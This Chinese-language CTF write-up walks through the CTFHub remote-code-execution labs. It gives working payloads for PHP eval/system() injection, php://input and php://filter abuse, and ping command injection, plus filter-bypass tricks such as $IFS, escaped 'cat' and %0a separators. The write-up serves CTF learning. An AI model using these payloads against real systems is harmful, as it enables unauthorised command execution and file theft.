先来了解一下rce命令
RCE英文全称:remote command/code execute
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
rce有利用的函数也有命令执行绕过
下面来看题目
eval执行
看到题目是php代码审计
这里用到的requset函数
isset函数 是一个变量函数 用于检测变量是否已设置并且非 NULL。 如果已经使用 unset () 释放了一个变量之后,再通过 isset () 判断将返回 FALSE。 若使用 isset () 测试一个被设置成 NULL 的变量,将返回 FALSE。
highlight_file() 函数 对文件进行语法高亮显示
eval函数 把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
简单了解了这几个函数 下面来审计一下代码 这里的命令执行都用的linux系统的命令 是因为php执行linux命令
很简单 就是要把命令赋值给cmd 然后才可以执行
先用 ?cmd=system('ls');看一下
再看一下根目录 ?cmd=system('ls /');
找到了flag文件 利用cat命令打开 ?cmd=system('cat /flag_27936');
这里有一点需要注意 就是flag文件前面要加上根目录 / 才可以
这里之所以用system 是因为system函数是一个外部命令执行函数
文件包含
shell有一个超链接 打开看一看
让我们传一个参数 ctfhub 原网页还有一个get传参 所以这题应该是get+post传参的 并且要赋值给ctfhub才可以执行命令 按他说的做一下
先get传参 ?file=shell.txt
在进行post传参 ctfhub=system('ls');
命令执行成功 老方法 看根目录找flag
php://input
先来了解一下
所以php://input要用 post请求才可以
使用php://input的条件也满足
接下来就是用bp抓包 然后执行命令
可以先抓一个get请求包 然后改成post请求包 把GET改成POST 在加Content-Type: application/x-www-form-urlencoded 就可以了 在body中添加ststem命令
发现命令执行成功 接下来就是一样的步骤 找源代码 找flag
这题值得注意的点就是php://input 的用法以及它的使用条件 php://input需要用post请求的方式
读取源代码
这道题需要我们读取源代码
这里用php://input发现执行不了 就需要用到另外的一个伪协议 php://filter
先来认识一下它
使用的方法
php://filter/read=convert.base64-encode/recource=index.php;
这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
以此类推 我们找这道题的payload就是 ?file=php://filter/read=convert.base64-encode/resource=../../../flag
这里面 ./ 代表的是当前目录 ../代表的是上一级目录,也就是父级目录 ../../表示源文件所在目录的上上级目录,以此类推
读出来的是base64编码 转化一下就可以拿到flag
远程包含
发现php://input所需条件开启
所以这道题也可以用php://input进行命令执行
还是bp抓包 修改请求方式 加入Content-Type: application/x-www-form-urlencoded
在输入命令执行语句就可以
发现命令执行成功 找根目录下的flag
得到flag
命令注入
看提示
看到题目 是ping ip 然后执行命令 这里就用到了linux命令里的链接符号
1.每个命令之间用 ; 隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。
利用命令 127.0.0.1|ls 得到此页面
访问php文件
发现没有成功 应该是文件中有特殊字符 用base64编码绕过一下
127.0.0.1|cat **.php|base64
拿到base64编码的flag
解码拿到flag
过滤cat
这道题过滤了cat 就需要我们用其他的来绕过 进行命令执行
过滤cat这样的字符 可以找其他的替换 也可以使用转义符 也可以内联执行绕过
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,可以查看
vim:一种编辑器,可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
也可以使用转义符
ca\t /fl\ag
cat fl''ag
也可以内联拼接绕过
a=fl;b=ag.php;cat$IFS$a$b
开始命令执行
127.0.0.1 | ls
127.0.0.1 | ca\t *.php | base64
拿到flag
过滤空格
这次过滤了空格 空格有很多种代替方式 ${IFS} $IFS$9 < <> %20 $IFS $IFS$1
$IFS在linux下表示分隔符 所以可以绕过
用127.0.0.1|ls 看文件
127.0.0.1|cat<flag_33622653931863.php|base64 用<代替空格 我尝试了其他的发现没用
解码 得到flag
过滤目录分隔符
提示说这次过滤了目录分割符 / 127.0.0.1|ls
发现了存在flag的文件夹 尝试进入 127.0.0.1;cd flag_is_here;ls 这里用; 是因为;是一条接一条的命令执行 也就是说 先ping127.0.0.1 在执行cd ... 在执行ls
找到flag文件
cat命令 得到flag 127.0.0.1;cd **;cat *.php|base64
解码得到flag
过滤运算符
进入题目
很明显过滤了管道符 那就可以用;来代替 | **.php|base64 == base64 **.php
下面来执行命令
127.0.0.1;ls
127.0.0.1;base64 *.php
解码 得到flag
综合过滤练习
这道题同时过滤了前面几个小节的内容
过滤了/(\||&|;| |\/|cat|flag|ctfhub
其中 cat 可用more代替 空格可以用${IFS} 代替 正则表达式主要是操作字符串的,实现数据的提取,查找和替换 flag可以用f***替换
| ;互替 %0a可以替换;但是要注意的一点就是 因为%0a是url编码 所以要在url中使用
127.0.0.1%0als 看一下文件
?ip=127.0.0.1%0Acd${IFS}f***_is_here%0als 看一下flag这个文件里用什么
?ip=127.0.0.1%0Acd${IFS}f***_is_here%0Abase64${IFS}f***_28916209724007.php
用base64编码 显示flag
解码 得到flag
完成所有题目
总结一下 rce命令绕过 用到的有 php外部命令执行函数 system
有php伪协议 php://input php://filter
其中php://input是用post传参的形式
php://filter是用来读取数据的
接下来就是命令执行绕过 cat 空格 管道符 各种的 都有很多绕过姿势 在网上都能搜索得到
over